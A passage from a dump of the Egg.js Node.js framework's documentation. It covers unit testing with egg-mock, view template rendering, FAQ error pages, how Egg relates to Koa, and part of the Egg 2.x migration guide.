.expect({\n      foo: 'bar',\n    });\n});\n```\n\nSee details at [SuperTest Document](https://github.com/visionmedia/supertest#getting-started).\n\n### mock CSRF\n\nThe security plugin of framework would enable [CSRF prevention](./security.md#csrf-prevention) as default. Typically, tests have to precede with a request of page in order to parse CSRF token from the response, and then use the token in later POST requests. But egg-mock provides the `app.mockCsrf()` function to skip the verification of the CSRF token of requests sent by SuperTest.\n\n```js\napp.mockCsrf();\nreturn app\n  .httpRequest()\n  .post('/post')\n  .type('form')\n  .send({\n    foo: 'bar',\n  })\n  .expect(200)\n  .expect({\n    foo: 'bar',\n  });\n```\n\n## Service Test\n\nService is easier to test than Controller. We need to create a ctx, and then get the instance of Service via `ctx.service.${serviceName}`, and then use the instance to test.\n\nFor example:\n\n```js\n// app/service/user.js\nclass UserService extends Service {\n  async get(name) {\n    return await userDatabase.get(name);\n  }\n}\n```\n\nAnd a test:\n\n```js\ndescribe('get()', () => {\n  // using generator function because of asynchronous invoking\n  it('should get exists user', async () => {\n    // create ctx\n    const ctx = app.mockContext();\n    // get service.user via ctx\n    const user = await ctx.service.user.get('fengmk2');\n    assert(user);\n    assert(user.name === 'fengmk2');\n  });\n\n  it('should get null when user not exists', async () => {\n    const ctx = app.mockContext();\n    const user = await ctx.service.user.get('fengmk1');\n    assert(!user);\n  });\n});\n```\n\nOf course it's just a sample, actual code would probably be more complicated.\n\n## Extend Test\n\nIt's extendable of Application, Request, Response and Context as well as Helper, and we are able to write specific test cases for extended functions or properties.\n\n### Application\n\nWhen an app instance is created by egg-mock, the extended functions and properties are already available on the instance and can be tested directly.\n\nFor example, we extend the application in `app/extend/application` to support cache based on [ylru](https://github.com/node-modules/ylru).\n\n```js\nconst LRU = Symbol('Application#lru');\nconst LRUCache = require('ylru');\nmodule.exports = {\n  get lru() {\n    if (!this[LRU]) {\n      this[LRU] = new LRUCache(1000);\n    }\n    return this[LRU];\n  },\n};\n```\n\nA corresponding test:\n\n```js\ndescribe('get lru', () => {\n  it('should get a lru and it work', () => {\n    // set cache\n    app.lru.set('foo', 'bar');\n    // get cache\n    assert(app.lru.get('foo') === 'bar');\n  });\n});\n```\n\nAs you can see, it's easy.\n\n### Context\n\nCompared to Application, you need only one more step for Context tests, which is to create an Context instance via `app.mockContext`.\n\nSuch as adding a property named `isXHR` to `app/extend/context.js` to present whether or not the request was submitted via [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest/setRequestHeader).\n\n```js\nmodule.exports = {\n  get isXHR() {\n    return this.get('X-Requested-With') === 'XMLHttpRequest';\n  },\n};\n```\n\nA corresponding test:\n\n```js\ndescribe('isXHR()', () => {\n  it('should true', () => {\n    const ctx = app.mockContext({\n      headers: {\n        'X-Requested-With': 'XMLHttpRequest',\n      },\n    });\n    assert(ctx.isXHR === true);\n  });\n\n  it('should false', () => {\n    const ctx = app.mockContext({\n      headers: {\n        'X-Requested-With': 'SuperAgent',\n      },\n    });\n    assert(ctx.isXHR === false);\n  });\n});\n```\n\n### Request\n\nExtended properties and function are available on `ctx.request`, so they can be tested directly.\n\nFor example, provide a `isChrome` property to `app/extend/request.js` to verify requests whether they are from Chrome or not.\n\n```js\nconst IS_CHROME = Symbol('Request#isChrome');\nmodule.exports = {\n  get isChrome() {\n    if (!this[IS_CHROME]) {\n      const ua = this.get('User-Agent').toLowerCase();\n      this[IS_CHROME] = ua.includes('chrome/');\n    }\n    return this[IS_CHROME];\n  },\n};\n```\n\nA corresponding test:\n\n```js\ndescribe('isChrome()', () => {\n  it('should true', () => {\n    const ctx = app.mockContext({\n      headers: {\n        'User-Agent': 'Chrome/56.0.2924.51',\n      },\n    });\n    assert(ctx.request.isChrome === true);\n  });\n\n  it('should false', () => {\n    const ctx = app.mockContext({\n      headers: {\n        'User-Agent': 'FireFox/1',\n      },\n    });\n    assert(ctx.request.isChrome === false);\n  });\n});\n```\n\n### Response\n\nIdentical with Request, Response test could be based on `ctx.response` directly, accessing all the extended functions and properties.\n\nFor example, provide an `isSuccess` property to indicate current status code equal to 200 or not.\n\n```js\nmodule.exports = {\n  get isSuccess() {\n    return this.status === 200;\n  },\n};\n```\n\nThe corresponding test:\n\n```js\ndescribe('isSuccess()', () => {\n  it('should true', () => {\n    const ctx = app.mockContext();\n    ctx.status = 200;\n    assert(ctx.response.isSuccess === true);\n  });\n\n  it('should false', () => {\n    const ctx = app.mockContext();\n    ctx.status = 404;\n    assert(ctx.response.isSuccess === false);\n  });\n});\n```\n\n### Helper\n\nSimilar to Service, Helper is available on ctx, which can be tested directly.\n\nSuch as `app/extend/helper.js`:\n\n```js\nmodule.exports = {\n  money(val) {\n    const lang = this.ctx.get('Accept-Language');\n    if (lang.includes('zh-CN')) {\n      return `￥ ${val}`;\n    }\n    return `$ ${val}`;\n  },\n};\n```\n\nA corresponding test:\n\n```js\ndescribe('money()', () => {\n  it('should RMB', () => {\n    const ctx = app.mockContext({\n      // mock headers of ctx\n      headers: {\n        'Accept-Language': 'zh-CN,zh;q=0.5',\n      },\n    });\n    assert(ctx.helper.money(100) === '￥ 100');\n  });\n\n  it('should US Dolar', () => {\n    const ctx = app.mockContext();\n    assert(ctx.helper.money(100) === '$ 100');\n  });\n});\n```\n\n## Mock Function\n\nExcept functions mentioned above, like `app.mockContext()` and `app.mockCsrf()`, egg-mock provides [quite a few mocking functions](https://github.com/eggjs/egg-mock#api) to make writing tests easier.\n\n- To prevent console logs through `mock.consoleLevel('NONE')`\n- To mock session data through `app.mockSession(data)`\n\n```js\ndescribe('GET /session', () => {\n  it('should mock session work', () => {\n    app.mockSession({\n      foo: 'bar',\n      uid: 123,\n    });\n    return app\n      .httpRequest()\n      .get('/session')\n      .expect(200)\n      .expect({\n        session: {\n          foo: 'bar',\n          uid: 123,\n        },\n      });\n  });\n});\n```\n\nRemember to restore mock data in an `afterEach` hook, otherwise it would take effect with all the tests that supposed to be independent to each other.\n\n```ts\ndescribe('some test', () => {\n  // beforeAll hook\n\n  afterEach(() => mock.restore());\n\n  // it tests\n});\n```\n\n**When using egg-bin, `@eggjs/mock/setup_vitest` is automatically injected, which resets all mocks in an `afterEach` hook. You don't need to write this code manually.**\n\nThe following will describe the common usage of egg-mock.\n\n### Mock Properties And Functions\n\nEgg-mock is extended from [mm](https://github.com/node-modules/mm) module which contains full features of mm, so we can directly mock any objects' properties and functions.\n\n#### Mock Properties\n\nMock `app.config.baseDir` to return a given value - `/tmp/mockapp`.\n\n```js\nmock(app.config, 'baseDir', '/tmp/mockapp');\nassert(app.config.baseDir === '/tmp/mockapp');\n```\n\n#### Mock Functions\n\nMock `fs.readFileSync` to return a given function.\n\n```js\nmock(fs, 'readFileSync', (filename) => {\n  return 'hello world';\n});\nassert(fs.readFileSync('foo.txt') === 'hello world');\n```\n\nSee more detail in [mm API](https://github.com/node-modules/mm#api), include advanced usage like `mock.data()`，`mock.error()` and so on.\n\n### Mock Service\n\nService is a standard built-in member of the framework, `app.mockService(service, methodName, fn)` is offered to conveniently mock its result.\n\nFor example, mock the method `get(name)` in `app/service/user` to return a nonexistent user.\n\n```js\nit('should mock fengmk1 exists', () => {\n  app.mockService('user', 'get', () => {\n    return {\n      name: 'fengmk1',\n    };\n  });\n\n  return (\n    app\n      .httpRequest()\n      .get('/user?name=fengmk1')\n      .expect(200)\n      // return an originally nonexistent user\n      .expect({\n        name: 'fengmk1',\n      })\n  );\n});\n```\n\nUsing `app.mockServiceError(service, methodName, error)` to mock exception.\n\nFor example, mock the method `get(name)` in `app/service/user` to throw an exception.\n\n```js\nit('should mock service error', () => {\n  app.mockServiceError('user', 'get', 'mock user service error');\n  return (\n    app\n      .httpRequest()\n      .get('/user?name=fengmk2')\n      // service exception causing the 500 status code\n      .expect(500)\n      .expect(/mock user service error/)\n  );\n});\n```\n\n### Mock HttpClient\n\nExternal HTTP requests should be performed though [HttpClient](./httpclient.md), a built-in member of Egg, and `app.mockHttpclient(url, method, data)` is able to simulate various network exceptions of requests performed by `app.curl` and `ctx.curl`.\n\nFor example, we submit a request in `app/controller/home.js`.\n\n```js\nclass HomeController extends Controller {\n  async httpclient() {\n    const res = await this.ctx.curl('https://eggjs.org');\n    this.ctx.body = res.data.toString();\n  }\n}\n```\n\nThen mock it's response.\n\n```js\ndescribe('GET /httpclient', () => {\n  it('should mock httpclient response', () => {\n    app.mockHttpclient('https://eggjs.org', {\n      // parameter allowed to be a buffer / string / json,\n      // will be finally converted to buffer\n      // according to options.dataType\n      data: 'mock eggjs.org response',\n    });\n    return app\n      .httpRequest()\n      .get('/httpclient')\n      .expect('mock eggjs.org response');\n  });\n});\n```\n\n## Sample Code\n\nAll sample code can be found in [eggjs/exmaples/unittest](https://github.com/eggjs/examples/blob/master/unittest)\n"
  },
  {
    "path": "site/docs/core/view.md",
    "content": "---\ntitle: View Template Rendering\norder: 8\n---\n\nIn most cases, we need to fetch data and render with template files.\nSo we need to use corresponding view engines.\n\n[egg-view] is a built-in plugin to support using multiple view engines in one application.\nAll view engines are imported as plugins.\nWith [egg-view] developers can use the same API interface to work with different view engines.\nSee [View Plugin](../advanced/view-plugin.md) for more details.\n\nTake the officially supported View plugin [egg-view-nunjucks] as an example:\n\n### Installing View Engine Plugin\n\n```bash\n$ npm i egg-view-nunjucks --save\n```\n\n### Enabling View Engine Plugin\n\n```js\n// config/plugin.js\nexports.nunjucks = {\n  enable: true,\n  package: 'egg-view-nunjucks',\n};\n```\n\n## Configuring View Plugins\n\n[egg-view] defines the default configuration of `config.view`\n\n### root {String}\n\nRoot directory for template files is absolute path, with default value `${baseDir}/app/view`.\n\n[egg-view] supports having multiple directories, which are separated by `,`.\nIn this case, it looks for template files from all the directories.\n\nThe configuration below is an example of multiple view directories:\n\n```js\n// config/config.default.js\nconst path = require('path');\nmodule.exports = (appInfo) => {\n  const config = {};\n  config.view = {\n    root: [\n      path.join(appInfo.baseDir, 'app/view'),\n      path.join(appInfo.baseDir, 'path/to/another'),\n    ].join(','),\n  };\n  return config;\n};\n```\n\n### cache {Boolean}\n\nCache template file paths, default value is `true`.\n[egg-view] looks for template files from the directories that defined in `root`.\nWhen a file matching given template path is found, the file's full path will be cached\nand reused afterward.\n[egg-view] won't search all directories again for the same template path.\n\n### `mapping` and `defaultViewEngine`\n\nEvery view engine has a view engine name defined when the plugin is enabled.\nIn view configuration, `mapping` defines the mapping\nfrom template file's extension name to view engine name.\nFor example, use Nunjucks engine to render `.nj` files.\n\n```js\nmodule.exports = {\n  view: {\n    mapping: {\n      '.nj': 'nunjucks',\n    },\n  },\n};\n```\n\n[egg-view] uses the corresponding view engine according to the configuration above.\n\n```js\nawait ctx.render('home.nj');\n```\n\nThe mapping from file extension name to view engine must be defined.\nOtherwise [egg-view] cannot find correct view engine.\nGlobal configuration can be done with `defaultViewEngine`.\n\n```js\n// config/config.default.js\nmodule.exports = {\n  view: {\n    defaultViewEngine: 'nunjucks',\n  },\n};\n```\n\nIf a view engine cannot be found according to specified mapping,\nthe default view engine will be used.\nFor the applications that use only one view engine,\nit's recommended to set this option.\n\n### `defaultExtension`\n\nWhen calling `render()`, the first argument should contain file extension name,\nunless `defaultExtension` has been configured.\n\n```js\n// config/config.default.js\nmodule.exports = {\n  view: {\n    defaultExtension: '.nj',\n  },\n};\n\n// render app/view/home.nj\nawait ctx.render('home');\n```\n\n## Rendering Page\n\n[egg-view] provides three interfaces in Context.\nAll three returns a Promise:\n\n- `render(name, locals)` renders template file, and set the value to `ctx.body`.\n- `renderView(name, locals)` renders template file, returns the result and don't set the value to any variable.\n- `renderString(tpl, locals)` renders template string, returns the result and don't set the value to any variable.\n\n```js\n// {app_root}/app/controller/home.js\nclass HomeController extends Controller {\n  async index() {\n    const data = { name: 'egg' };\n\n    // render a template, path relate to `app/view`\n    await ctx.render('home/index.tpl', data);\n\n    // or manually set render result to ctx.body\n    ctx.body = await ctx.renderView('path/to/file.tpl', data);\n\n    // or render string directly\n    ctx.body = await ctx.renderString('hi, {{ name }}', data, {\n      viewEngine: 'nunjucks',\n    });\n  }\n}\n```\n\nWhen calling `renderString`, view engine should be specified unless `defaultViewEngine` has been defined.\n\n## `locals`\n\nIn the process of rendering pages, we usually need a variable to contain all information that is used in view template. [egg-view] provides `app.locals` and `ctx.locals`.\n\n- `app.locals` is global, usually configured in `app.js`.\n- `ctx.locals` is per-request, and it merges `app.locals`.\n- `ctx.locals` can be assigned by modifying key/value or assigned with a new object. [egg-view] will merge the new object automatically in corresponding setter.\n\n```js\n// `app.locals` merged into `ctx.locals`\nctx.app.locals = { a: 1 };\nctx.locals.b = 2;\nconsole.log(ctx.locals); // { a: 1, b: 2 }\n\n// in the processing of a request, `app.locals` is merged into `ctx.locals` only at the first time `ctx.locals` being accessed\nctx.app.locals = { a: 2 };\nconsole.log(ctx.locals); // already merged before, so output is still { a: 1, b: 2 }\n\n// pass a new object to `locals`. New object will be merged into `locals`, instead of replacing it. It's done by setter automatically.\nctx.locals.c = 3;\nctx.locals = { d: 4 };\nconsole.log(ctx.locals); // { a: 1, b: 2, c: 3, d: 4 }\n```\n\nIn practical development, we usually don't use these two objects in controller directly.\nInstead, simply call `ctx.render(name, data)`:\n\n- [egg-view] merges `data` into `ctx.locals` automatically.\n- [egg-view] injects `ctx`, `request`, `helper` into locals automatically.\n\n```js\nctx.app.locals = { appName: 'showcase' };\nconst data = { name: 'egg' };\n\n// will auto merge `data` to `ctx.locals`, output: egg - showcase\nawait ctx.renderString('{{ name }} - {{ appName }}', data);\n\n// helper, ctx, request will auto inject\nawait ctx.renderString(\n  '{{ name }} - {{ helper.lowercaseFirst(ctx.app.config.baseDir) }}',\n  data,\n);\n```\n\nNote:\n\n- **ctx.locals is cached. app.locals is merged into it only at the first time that ctx.locals is accessed.**\n- due to the ambiguity of naming, the `ctx.state` that is used in Koa is replaced by `ctx.locals` in Egg.js, i.e. `ctx.state` and `ctx.locals` are equivalent. It's recommended to use the latter.\n\n## Helper\n\nAll functions that defined in `helper` can be directly used in templates.\nSee [Extend](../basics/extend.md) for more details.\n\n```js\n// app/extend/helper.js\nexports.lowercaseFirst = (str) => str[0].toLowerCase() + str.substring(1);\n\n// app/controller/home.js\nawait ctx.renderString('{{ helper.lowercaseFirst(name) }}', data);\n```\n\n## Security\n\nThe built-in plugin [@eggjs/security] provides common security helper functions, including `helper.shtml / surl / sjs` and so on. It's strongly recommended to read [Security](./security.md).\n\n[@eggjs/security]: https://github.com/eggjs/security\n[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks\n[egg-view]: https://github.com/eggjs/view\n"
  },
  {
    "path": "site/docs/faq/TEGG_EGG_PROTO_NOT_FOUND.md",
    "content": "# TEGG_EGG_PROTO_NOT_FOUND\n\n## Problem\n\n```bash\nframework.EggPrototypeNotFound: Object foo not found in LOAD_UNIT:appPort\n```\n\n## Cause\n\nThe corresponding Proto was not found in the current Egg Module, resulting in injection failure.\n\n## Solution\n\n1. Ensure that the corresponding Proto is defined in the current Module.\n2. Ensure that the Proto's access level is set to `AccessLevel.PUBLIC`.\n3. Ensure that the Proto's name is correct.\n4. Ensure that the Proto's instantiation method is correct.\n5. Ensure that the Proto's instantiation name is correct.\n6. Ensure that the Proto's instantiation access level is correct.\n7. Ensure that the Proto's instantiation instance name is correct.\n\n## Example\n\n```ts\nimport { SingletonProto, AccessLevel } from 'egg';\n\n@SingletonProto({\n  // Ensure the Proto's access level is PUBLIC\n  accessLevel: AccessLevel.PUBLIC, // [!code focus]\n})\nexport class Foo {\n  async bar(): Promise<string> {\n    return 'bar';\n  }\n}\n```\n"
  },
  {
    "path": "site/docs/faq/TEGG_ROUTER_CONFLICT.md",
    "content": "# TEGG_ROUTER_CONFLICT\n\n## Issue\n\n```bash\nframework.RouterConflictError: register http controller GET AppController2.get failed, GET /apps/:id is conflict with exists rule /apps/:id\n```\n\n## Cause\n\nRoute conflict.\n\n## Solution\n\n1. Ensure route rules are unique.\n2. Ensure route rules are correct.\n\n## Example\n\nBoth AppController.get and AppController2.get define the /apps/:id route, causing a route conflict.\n\n```ts\n@Controller('/apps') // [!code focus]\nexport class AppController {\n  @Get('/:id') // [!code focus]\n  async get(@Param('id') id: string) {\n    return this.app.apps.get(id);\n  }\n}\n```\n\n```ts\n@Controller('/apps') // [!code focus]\nexport class AppController2 {\n  @Get('/:id') // [!code focus]\n  async get(@Param('id') id: string) {\n    return this.app.apps.get(id);\n  }\n}\n```\n"
  },
  {
    "path": "site/docs/faq/index.md",
    "content": "# Common Errors\n\n- [TEGG_EGG_PROTO_NOT_FOUND](TEGG_EGG_PROTO_NOT_FOUND.md)\n- [TEGG_ROUTER_CONFLICT](TEGG_ROUTER_CONFLICT.md)\n"
  },
  {
    "path": "site/docs/index.md",
    "content": "---\nlayout: home\n\nhero:\n  name: Egg\n  text: Born to build\n  tagline: Better enterprise frameworks and apps with Node.js & Koa\n  image:\n    src: /logo.svg\n    alt: Egg Logo\n  actions:\n    - theme: brand\n      text: Get Started\n      link: /intro/quickstart\n    - theme: alt\n      text: View on GitHub\n      link: https://github.com/eggjs/egg\n\nfeatures:\n  - icon:\n      src: /img_egg/icon-3.png\n      width: 136\n    title: Complete Ecology\n    details: Based on open source ecology, customized for ant-ecology, can be integrated to backend middleware in one minute, supporting multiple deployment environments.\n\n  - icon:\n      src: /img_egg/icon-4.png\n      width: 136\n    title: Efficient and Natural Development Experience\n    details: Progressive development, smooth learning curve, one-stop development kit, supporting your whole process of development.\n\n  - icon:\n      src: /img_egg/icon-2.png\n      width: 136\n    title: High Quality & Reliability\n    details: With high-quality, complete tests, built-in security policy, withstand the largest amount of traffic like Double 11 Promotion.\n\n  - icon:\n      src: /img_egg/icon-1.png\n      width: 136\n    title: Flexible & High Scalability\n    details: Convention over configuration, highly flexible customization, industry-leading plugin systems and upper-layer business-specific framework systems.\n---\n\n## We're Recruiting!\n\nEgg.js is recruiting talented developers. [Learn more →](https://zhuanlan.zhihu.com/p/598748057)\n"
  },
  {
    "path": "site/docs/intro/egg-and-koa.md",
    "content": "# Egg and Koa\n\n## Asynchronous Programming Model\n\nNode.js is an asynchronous world, asynchronous programming models in official API support are all in callback form，it brings many problems. For example:\n\n- [callback hell](http://callbackhell.com/): Notorious \"callback hell\"。\n- [release zalgo](https://oren.github.io/#/articles/zalgo/): Asynchronous functions may call callback function response data synchronously which would bring inconsistency.\n\nThe community has provided many solutions for the problems and the winner is Promise. It is built into ECMAScript 2015. On the basis of Promise, and with the ability of Generator to switch context, we can write asynchronous code in a synchronous way with [co] and other third-party libraries. Meanwhile [async function], the official solution has been published in ECMAScript 2017 and landed in Node.js 8.\n\n### Async Function\n\n[Async function] is a syntactic sugar at the language level. In async function, we can use `await` to wait for a promise to be resolved(or rejected, which will throw an exception), and Node.js LTS (8.x) has supported this feature.\n\n```js\nconst fn = async function () {\n  const user = await getUser();\n  const posts = await fetchPosts(user.id);\n  return { user, posts };\n};\nfn()\n  .then((res) => console.log(res))\n  .catch((err) => console.error(err.stack));\n```\n\n## Koa\n\n> [Koa](https://koajs.com/) is a new Web framework designed by the team behind Express, which aims to be a smaller, more expressive, and more robust foundation for Web applications and APIs.\n\nThe design styles of Koa and Express are very similar, The underlying basic library is the same, [HTTP library](https://github.com/jshttp). There are several significant differences between them. Besides the asynchronous solution by default mentioned above, there are the following points.\n\n### Midlleware\n\nThe middleware in Koa is different from Express, Koa use the onion model:\n\n- Middleware onion diagram:\n\n![](https://camo.githubusercontent.com/d80cf3b511ef4898bcde9a464de491fa15a50d06/68747470733a2f2f7261772e6769746875622e636f6d2f66656e676d6b322f6b6f612d67756964652f6d61737465722f6f6e696f6e2e706e67)\n\n- Middleware execution sequence diagram:\n\n![](https://raw.githubusercontent.com/koajs/koa/a7b6ed0529a58112bac4171e4729b8760a34ab8b/docs/middleware.gif)\n\nAll the requests will be executed twice during one middleware. Compared to Express middleware, it is very easy to implement post-processing logic. You can obviously feel the advantage of Koa middleware model by comparing the compress middleware implementatio in Koa and Express.\n\n- [koa-compress](https://github.com/koajs/compress/blob/master/lib/index.js) for Koa.\n- [compression](https://github.com/expressjs/compression/blob/master/index.js) for Express.\n\n### Context\n\nUnlike that there are only two objects `Request` and `Response` in Express, Koa has one more, `Context` object in one HTTP request(it is `this` in Koa 1, while it is the first parameter for middleware function in Koa 2). We can mount all the related properties in one request to this object. Such as [traceId](https://github.com/eggjs/egg-tracer/blob/1.0.0/lib/tracer.js#L12) that runs through the whole request lifetime (which will be called anywhere afterward) could be mounted. It is more semantic other than request and response.\n\nAt the same time Request and Response are mounted to the Context object. Just like Express, the two objects provide lots of easy ways to help developing. For example:\n\n- `get request.query`\n- `get request.hostname`\n- `set response.body`\n- `set response.status`\n\n### Exception Handling\n\nAnother enormous advantage for writing asynchronous code in a synchronous way is that it is quite easy to handle the exception. You can catch all the exceptions thrown in the codes followed the convention with `try catch`. We can easily write a customized exception handling middleware.\n\n```js\nasync function onerror(ctx, next) {\n  try {\n    await next();\n  } catch (err) {\n    ctx.app.emit('error', err);\n    ctx.body = 'server error';\n    ctx.status = err.status || 500;\n  }\n}\n```\n\nPutting this middleware before others, you can catch all the exceptions thrown by the synchronous or asynchronous code.\n\n## Egg Inherits from Koa\n\nAs described above, Koa is an excellent framework. However, it is not enough to build an enterprise-class application.\n\nEgg is built around the Koa. On the basis of Koa model, Egg implements enhancements one step further.\n\n### Extension\n\nIn the framework or application based on Egg, we can extend the prototype of 4 Koa objects by defining `app/extend/{application,context,request,response}.js`. With this, we can write more utility methods quickly. For example, we have the following code in `app/extend/context.js`:\n\n```js\n// app/extend/context.js\nmodule.exports = {\n  get isIOS() {\n    const iosReg = /iphone|ipad|ipod/i;\n    return iosReg.test(this.get('user-agent'));\n  },\n};\n```\n\nIt can be used in controller then:\n\n```js\n// app/controller/home.js\nexports.handler = (ctx) => {\n  ctx.body = ctx.isIOS\n    ? 'Your operating system is iOS.'\n    : 'Your operating system is not iOS.';\n};\n```\n\nMore about extension, please check [Exception](../basics/extend.md) section.\n\n### Plugin\n\nAs is known to all, Many middlewares are imported to provide different kinds of features in Express and Koa. Eg, [koa-session](https://github.com/koajs/session) provides the Session support, [koa-bodyparser](https://github.com/koajs/bodyparser) help to parse request body. Egg has provided a powerful plugin mechanism to make it easier to write stand-alone features.\n\nOne plugin can include:\n\n- extend：extend the context of base object, provide utility and attributes.\n- middleware：add one or more middlewares, provide pre or post-processing logic for request.\n- config：configure the default value in different environments.\n\nA stand-alone module plugin can provide rich features with high maintainability. You can almost forget the configuration as the plugin supports configuring the default value in different environments.\n\n[@eggjs/security](https://github.com/eggjs/security) is a typical example.\n\nMore about plugin, please check [Plugin](../basics/plugin.md) section.\n\n### Roadmap\n\n#### Egg 1.x\n\nWhen Egg 1.x released, the Node.js LTS version did not support async function，so Egg 1.x was based on Koa 1.x. On the basis of this, Egg had added fully async function support. Egg is completely compatible with middlewares in Koa 2.x, all applications could write with `async function`.\n\n- The underlying is based on Koa 1.x, asynchronous solution is based on the generator function wrapped by [co].\n- Official plugin and the core of Egg are written in generator function, keep supporting Node.js LTS version, use [co] when necessary to be compatible with async function.\n- Application developers can choose either async function (Node.js 8.x+) or generator function (Node.js 6.x+).\n\n#### Egg 2.x\n\nWhen Node.js 8 became LTS version, an async function could be used in Node.js without any performance problem. Egg released 2.x based on Koa 2.x, the framework and built-in plugins were all written by async function, and Egg 2.x still kept compatibility with generator function and all the usages in Egg 1.x, applications based on Egg 1.x can migrate to Egg 2.x only by upgrading to Node.js 8.\n\n- The underlying will be based on Koa 2.x, the asynchronous solution will be based on async function.\n- The official plugin and core of egg will be written in an async function.\n- Recommend the user to transfer the business layer to async function.\n- Only support Node.js 8+.\n\n[co]: https://github.com/tj/co\n[async function]: https://github.com/tc39/ecmascript-asyncawait\n[async function]: https://github.com/tc39/ecmascript-asyncawait\n"
  },
  {
    "path": "site/docs/intro/migration.md",
    "content": "# Egg@2 Upgrade guideline\n\n## Background\n\nWith the official release of Node.js 8 LTS, egg now comes with built-in ES2017 Async Function support.\n\nThough the TJ [co] has brought `async/await` programming experience before this, but it also has some inevitable problems:\n\n- performance lost\n- [obscure error logs](https://github.com/eggjs/egg/wiki/co-vs-async)\n\nIn the official Egg 2.x:\n\n- Full compatibility to Egg 1.x and `generator function`.\n- Koa 2.x based `async function` solutions.\n- Only support Node.js 8 and above.\n- Better error stack messages without [co], approximately 30% performance improvement (do not include the performance improvement brought by Node), see [benchmark](https://eggjs.github.io/benchmark/plot/) for more details.\n\nOne of the Egg's concept is `progressive`, hence we provide progressive programming experiences to developers.\n\n- [Quick upgrade](#quick_upgrade)\n- [Plugin update](#plugin)\n- [Further upgrade](#forther_upgrade)\n- [Upgrade documents for Plugin developers](#upgrade_documents_for_plugin_developers)\n\n## Quick upgrade\n\n- Use the latest Node LTS version (`>=8.9.0`).\n- Change `egg` version to `^2.0.0` in `package.json`.\n- Check if included plugins are the latest version (optional).\n- Reinstall the dependencies, and run unit tests again.\n\n**Done! Barely with any code changes**\n\n## Plugin update\n\n### egg-multipart\n\n`yield parts` needs to change to `await parts()` or `yield parts()`\n\n```js\n// old\nconst parts = ctx.multipart();\nwhile ((part = yield parts) != null) {\n  // do something\n}\n\n// yield parts() also work\nwhile ((part = yield parts()) != null) {\n  // do something\n}\n\n// new\nconst parts = ctx.multipart();\nwhile ((part = await parts()) != null) {\n  // do something\n}\n```\n\n- [egg-multipart#upload-multiple-files](https://github.com/eggjs/multipart#upload-multiple-files)\n\n### egg-userrole\n\nDO NOT support 1.x role definition, because koa-roles is no longer compatible.\nThe `Context` has changed from `this` to the first argument `ctx`, the original `scope` now is the second argument.\n\n```js\n// old\napp.role.use('user', function () {\n  return !!this.user;\n});\n\n// new\napp.role.use((ctx, scope) => {\n  return !!ctx.user;\n});\n\napp.role.use('user', (ctx) => {\n  return !!ctx.user;\n});\n```\n\n- [koajs/koa-roles#13](https://github.com/koajs/koa-roles/pull/13)\n- [eggjs/egg-userrole#9](https://github.com/eggjs/egg-userrole/pull/9)\n\n## Further upgrade\n\nDue to the complete compatibility to Egg 1.x, we can finish the upgrade quickly.\n\nBut in order to keep the coding style consistent, as well as a better performance improvement and more developer-friendly error stack logs, we suggest developers to make a further upgrade:\n\n- Use recommended code style, see [Style guide](../community/style-guide.md)\n- [Use Koa style middleware](#use-koa2-style-middleware)\n- [Change `yieldable` to `awaitable` in function invoke](#yieldable-to-awaitable)\n\n### Use Koa2-styled middleware\n\n> 2.x is compatible to 1.x-styled middleware, so it's still functional without any changes.\n\n- Use Koa 2's `(ctx, next)` arguments style in callback function\n  - The 1st argument is `ctx`, means context, it is an instance of [Context](../basics/extend.md#Context)\n  - The 2nd argument is `next`, use await to execute it for the coming logics.\n- Using `async (ctx, next) => {}` is not recommended, which prevents anonymous function in error stack.\n- Change `yield next` to `await next()`.\n\n```js\n// 1.x\nmodule.exports = () => {\n  return function* responseTime(next) {\n    const start = Date.now();\n    yield next;\n    const delta = Math.ceil(Date.now() - start);\n    this.set('X-Response-Time', delta + 'ms');\n  };\n};\n\n// 2.x\nmodule.exports = () => {\n  return async function responseTime(ctx, next) {\n    const start = Date.now();\n    // Note, differ from the generator function middleware, next is a function, we're executing it here\n    await next();\n    const delta = Math.ceil(Date.now() - start);\n    ctx.set('X-Response-Time', delta + 'ms');\n  };\n};\n```\n\n### yieldable to awaitable\n\n> async was supported in Egg 1.x, thus if the middleware is already async-base, we could skip this section.\n\n[co] supports `yieldable` compatibility types:\n\n- promises\n- array (parallel execution)\n- objects (parallel execution)\n- thunks (functions)\n- generators (delegation)\n- generator functions (delegation)\n\nDespite both `generator` and `async` have the same program models, but we may still need to refactor our codes correspondingly after removing `co` because of the above special handling from `co`.\n\n#### promise\n\nWe can replace it directly:\n\n```js\nfunction echo(msg) {\n  return Promise.resolve(msg);\n}\n\nyield echo('hi egg');\n// change to\nawait echo('hi egg');\n```\n\n#### array - yield []\n\n`yeild []` is normally used to send concurrent requests, such as:\n\n```js\nconst [ news, user ] = yield [\n  ctx.service.news.list(topic),\n  ctx.service.user.get(uid),\n];\n```\n\nIn this case, use `Promise.all()` to wrap it:\n\n```js\nconst [news, user] = await Promise.all([\n  ctx.service.news.list(topic),\n  ctx.service.user.get(uid),\n]);\n```\n\n#### object - yield {}\n\nSometimes `yield {}` and `yield map` can also be used to send concurrent requests, but it may be a bit complex in this place because `Promise.all` doesn't support Object argument.\n\n```js\n// app/service/biz.js\nclass BizService extends Service {\n  * list(topic, uid) {\n    return {\n      news: ctx.service.news.list(topic),\n      user: ctx.service.user.get(uid),\n    };\n  }\n}\n\n// app/controller/home.js\nconst { news, user } = yield ctx.service.biz.list(topic, uid);\n```\n\nIt's recommended to use `await Promise.all([])`:\n\n```js\n// app/service/biz.js\nclass BizService extends Service {\n  list(topic, uid) {\n    return Promise.all([\n      ctx.service.news.list(topic),\n      ctx.service.user.get(uid),\n    ]);\n  }\n}\n\n// app/controller/home.js\nconst [news, user] = await ctx.service.biz.list(topic, uid);\n```\n\nIf the interfaces are unchangeable, e can do things below as a workaround:\n\n- Use [app.toPromise] method provided by our Utils.\n- **This is built on top of the [co], so it may still cause performance issue and returning inaccurate error stacks, so this is not recommended.**\n\n```js\nconst { news, user } = await app.toPromise(ctx.service.biz.list(topic, uid));\n```\n\n#### Others\n\n- thunks (functions)\n- generators (delegation)\n- generator functions (delegation)\n\nUse `async function` to replace the above functions, or use [app.toAsyncFunction] alternatively.\n\n**Note**\n\n- [toAsyncFunction][app.toasyncfunction] and [toPromise][app.topromise] are wrappers of [co], thus it may cause performance lost and error stack problems. So we're recommending developers to use all-chain upgrade.\n- [toAsyncFunction][app.toasyncfunction] doesn't have performance lost when invokes async function.\n\n@sindresorhus has written a lot [promise-based helpers](https://github.com/sindresorhus/promise-fun), use 